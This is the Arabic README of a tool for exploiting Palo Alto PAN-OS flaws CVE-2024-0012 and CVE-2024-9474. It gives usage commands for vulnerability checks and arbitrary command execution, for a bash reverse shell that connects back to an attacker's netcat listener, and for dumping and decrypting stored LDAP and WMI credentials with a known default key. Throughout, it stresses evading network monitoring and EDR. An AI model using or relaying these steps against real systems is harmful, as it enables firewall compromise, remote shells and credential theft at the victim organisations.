PanOsExploitMultitool

أداة متعددة المهام للاستغلال وما بعد الاستغلال لأنظمة Palo Alto PAN-OS المتأثرة بالثغرات CVE-2024-0012 و CVE-2024-9474

أثناء الاستغلال المبكر لثغرات تنفيذ الأوامر عن بُعد CVE-2024-0012 و CVE-2024-9474، حصلت على شِل وبدأت في تحديد ملفات التكوين التي تضمنت سلاسل غريبة في حقول كلمات مرور مختلفة. نظرًا لأن هذه لم تكن بوضوح تنسيقات تجزئة شائعة، بدأتُ أنا وفريقي في التحقيق في هذا الأمر وسرعان ما اكتشفنا إشعارًا أمنيًا على موقع ThreatLabs، والذي ذكر أن بيانات اعتماد PAN-OS يتم تشفيرها (كانت؟) باستخدام مفتاح رئيسي معروف علنًا بشكل افتراضي. على الرغم من أنه يمكن تغيير هذا المفتاح الرئيسي في تكوين الجهاز، إلا أنني وجدت أن المفتاح الرئيسي الافتراضي قد تم استخدامه في كل حالة صادفت فيها هذه الثغرات. من خلال تصميم هذه الأداة، هدفي هو بناء طريقة سهلة لاستغلال هذه الثغرات، وإجراء عمليات ما بعد الاستغلال وجمع بيانات الاعتماد، وحتى استرداد بيانات الاعتماد بنص واضح بالكامل من خلال حركة مرور HTTPS مشفرة، دون الحاجة إلى اتصالات مستمرة قد يتم اكتشافها بواسطة حلول مراقبة الشبكة وحركة المرور.

حاليًا تدعم استرداد وفك تشفير بيانات اعتماد LDAP و WMI تلقائيًا، على الرغم من أنني رأيت حالات نادرة يتم فيها تشفير سلاسل الأسرار داخل ملفات التكوين بأسماء حقول XML غير قياسية. أعمل حاليًا على تحديد أسباب هذه الحالات الفريدة حتى أتمكن من ضمان الدعم الكامل. يرجى ملاحظة أن هذا لا يزال قيد التطوير.

التثبيت

قبل الاستخدام، يرجى التأكد من تثبيت جميع التبعيات الضرورية باستخدام أمر مثل:

pip3 install -r requirements.txt

الفحص

سيسمح لك أمر "check" بالتحقق مما إذا كان الهدف البعيد معرضًا لـ CVE-2024-0012. عند استهداف مضيف بعيد بواسطة عنوان IP الخاص به، تأكد من استخدام الوسيطة --no-verify. مثال:

python3 PanOsExploitMultitool.py check -t {TARGET} --no-verify

الأمر

سيسمح لك أمر "command" باستغلال CVE-2024-0012 و CVE-2024-9474 على هدف بعيد لتنفيذ أمر يُقدم يدويًا واسترداد مخرجات الأمر الناتجة من خلال الواجهة الإلكترونية. على غرار أوامر dump و shell، يتم تقسيم الأمر المقدم إلى أقسام صغيرة بما يكفي لتناسب ثغرة حقن الأوامر CVE-2024-9474، ويتم كتابتها في ملف شِل مؤقت في دليل قابل للكتابة (الافتراضي /var/tmp/)، ثم تنفيذه على الهدف. تتم كتابة المخرجات في ملف PHP مؤقت تحت /var/appweb/htdocs{remote_dir}، يتم استرداده عبر HTTPS، وطباعته على وحدة التحكم، وتنظيفه تلقائيًا ما لم يتم توفير الوسيطة --no-cleanup. مرة أخرى، لا تنسَ --no-verify عند الضرورة.

python3 PanOsExploitMultitool.py command -t {TARGET} --no-verify -c '{COMMAND}'

أمر صامت

يقوم العلم الاختياري --silentcommand بتنفيذ الأمر المقدم باستخدام نفس طريقة التقطيع والحقن المذكورة أعلاه، ولكن دون إعادة توجيه المخرجات إلى ملف يمكن الوصول إليه عبر الويب أو إجراء أي طلب استرداد. هذا مفيد للإجراءات من نوع "أطلق وانسى" حيث لا تكون المخرجات مطلوبة، أو عندما تكون الأولوية لتقليل عدد طلبات الويب والملفات التي تم إنشاؤها على الهدف. نظرًا لعدم كتابة ملف مخرجات في مسار الويب، فإن التنظيف يزيل فقط ملفات تحميل الحمولة المؤقتة من الدليل القابل للكتابة — ولا يوجد ملف .php مخرجات لتنظيفه.

python3 PanOsExploitMultitool.py command -t {TARGET} --no-verify -c '{COMMAND}' --silentcommand

الشِل

سيسمح لك أمر "shell" باستغلال CVE-2024-0012 و CVE-2024-9474 على هدف بعيد لتلقي شِل عكسي على المضيف البعيد. باختصار، يقوم هذا الأمر بإنشاء حمولة شِل عكسي قياسية من bash، وتشفيرها بـ base64، وتقسيم الكتلة المشفرة بـ base64 إلى أقسام صغيرة بما يكفي لتناسب ثغرة حقن الأوامر CVE-2024-9474، ثم تنفيذ أوامر لطباعة كل قسم في ملفات في دليل قابل للكتابة (الافتراضي /var/tmp/). بمجرد تخزين هذه الأقسام بالكامل، يتم دمجها في ملف شِل واحد ثم تنفيذها على المضيف، والذي يجب أن يتصل بمستمع netcat منفصل (nc -nvlp {PORT}). يرجى ملاحظة أن المهلة الناجمة عن اتصال الشِل العكسي المستمر تمنع تنظيف الملفات من الحدوث حاليًا، لذا ستحتاج إلى تدوين اسم الملف العشوائي المطبوع في بداية تشغيل الأداة وتنظيفه من موقعي {writable_dir} و /var/appweb/htdocs{remote_dir}. سأقوم بإصلاح هذا في الإصدار التالي، لكن لم أصل إليه بعد. مرة أخرى، لا تنسَ --no-verify عند الضرورة.

nc -nvlp {PORT}

python3 PanOsExploitMultitool.py shell -t {TARGET} --lhost {LOCAL IP} --lport {LOCAL PORT} --no-verify

التفريغ

كان هذا هدفي الأساسي لهذا المشروع، والسبب الرئيسي وراء رغبتي في بناء هذه الأداة. نظرًا لأن معظم المقالات والأدوات المتعلقة بهذه الثغرات كانت مرتبطة بتنفيذ الأوامر عن بُعد، لم أجد العديد من الحالات التي يوضح فيها الأشخاص خطوات ما بعد الاستغلال المفيدة بعد تلك النقطة. باستخدام أمر التفريغ، يمكنك ليس فقط استرداد وفك تشفير بيانات الاعتماد عن بُعد، بل يمكنك القيام بذلك بالكامل من خلال عدد صغير من طلبات الويب المشفرة (HTTPS) دون الحاجة إلى أي اتصالات مستمرة. نظرًا لأن أجهزة PAN-OS أقل احتمالية بكثير لوجود أي حلول EDR/MDR/IDR/XDR/?DR عليها، فإن هذا فعال بشكل خاص في عمليات الفريق الأحمر.

يتبع أمر التفريغ طريقة تقطيع وتنفيذ مماثلة لأمر الشِل، ولكن بدلاً من بدء شِل عكسي، فإنه يسترد بيانات الاعتماد المشفرة من ملفات تكوين الجهاز (الموجودة في /opt/pancfg/mgmt/saved-configs/) ثم يقوم تلقائيًا بفك تشفير كلمات المرور المحددة باستخدام المفتاح الرئيسي العام المعروف. سيقوم أمر التفريغ أيضًا بتنظيف أي ملفات تم إنشاؤها في نهاية عملية فك التشفير، ما لم تقم بتضمين الوسيطة --no-cleanup. كالعادة، لا تنسَ --no-verify عند الضرورة.

python3 PanOsExploitMultitool.py dump -t {TARGET} --no-verify

بالإضافة إلى ذلك، أضفت الوسيطة الاختيارية --full-running-config، والتي يمكن استخدامها لاسترداد محتويات XML الكاملة لملف التكوين الجاري الحالي وحفظها في ملف محلي. يتم تسمية الملف المحفوظ باستخدام التنسيق running-config.{TARGET}.{TIMESTAMP}.xml (مثل running-config.192.168.1.1.20260516_143022.xml)، حيث يعكس الطابع الزمني وقت الاسترداد. هذا يمنع الكتابة فوق تفريغات التكوين السابقة عند استهداف نفس الجهاز عدة مرات. بينما أوصي بالتحقق بما يتجاوز هذا، حيث رأيت عدة حالات تحتوي فيها ملفات التكوين السابقة/الأخرى على بيانات اعتماد مشفرة فريدة، يمكن أن تكون هذه طريقة جيدة للتحقق من أي بيانات اعتماد إضافية قد لا يتم التقاطها وفك تشفيرها تلقائيًا. بالإضافة إلى ذلك، يمكنك إجراء معالجة محلية لأي ملفات تكوين XML محلية باستخدام الأمر Local، الموضح أدناه.

python3 PanOsExploitMultitool.py dump -t {TARGET} --no-verify --full-running-config

المحلي

الأمر المحلي بسيط جدًا، وحالة استخدامه هي بشكل أساسي عندما تسترد ملف تكوين XML كامل (مثل استخدام وسيطة --full-running-config لأمر التفريغ)، أو عندما تكون قد حصلت بالفعل على شِل على جهاز PAN-OS ونسخت أو طبعت محتويات ملفات تكوين XML من الجهاز (الموجودة في /opt/pancfg/mgmt/saved-configs/). سيقوم بنفس المنطق وفك التشفير التلقائي لبيانات الاعتماد، ولكن من ملف محلي مقدم. يدعم جميع أنواع بيانات الاعتماد المشفرة بما في ذلك بيانات اعتماد LDAP و WMI، عبر أي اسم علامة XML.

python3 PanOsExploitMultitool.py local -f {FILE}

فك التشفير

أخيرًا، سيسمح لك أمر "decrypt" بفك تشفير السلاسل الأولية باستخدام المفتاح الرئيسي العام. هذا مفيد في السيناريوهات الفريدة، مثل عندما يتم تحديد سلاسل بيانات اعتماد مشفرة في ملف تكوين سابق ولكن لا توجد أسماء مستخدمين قبلها مباشرة، أو عندما تريد التحقق يدويًا من سلسلة بيانات اعتماد مستخرجة بطريقة أخرى. يمكن إدخال هذه السلاسل مباشرة في الطرفية، ويمكن قبولها بالتنسيق الكامل -AQ..........==، أو فقط الكتلة المشفرة بـ base64 في النهاية.

python3 PanOsExploitMultitool.py decrypt

المراجع

يرجى الاطلاع على المقالات والوحدات والإشعارات أدناه التي تم استخدامها في البحث والتطوير لهذا المشروع.

"Pots and Pans, AKA an SSLVPN - Palo Alto PAN-OS CVE-2024-0012 and CVE-2024-9474", WatchTowr Labs: https://labs.watchtowr.com/pots-and-pans-aka-an-sslvpn-palo-alto-pan-os-cve-2024-0012-and-cve-2024-9474/

"panos_management_unauth_rce.rb", Stephen Fewer @ Rapid7: https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/panos_management_unauth_rce.rb

"Advisory - PAN-OS - AES256-CBC & SHA1", Threatlabs: https://threatlabs.eu/advisories/TL23-PA-SSTWMX/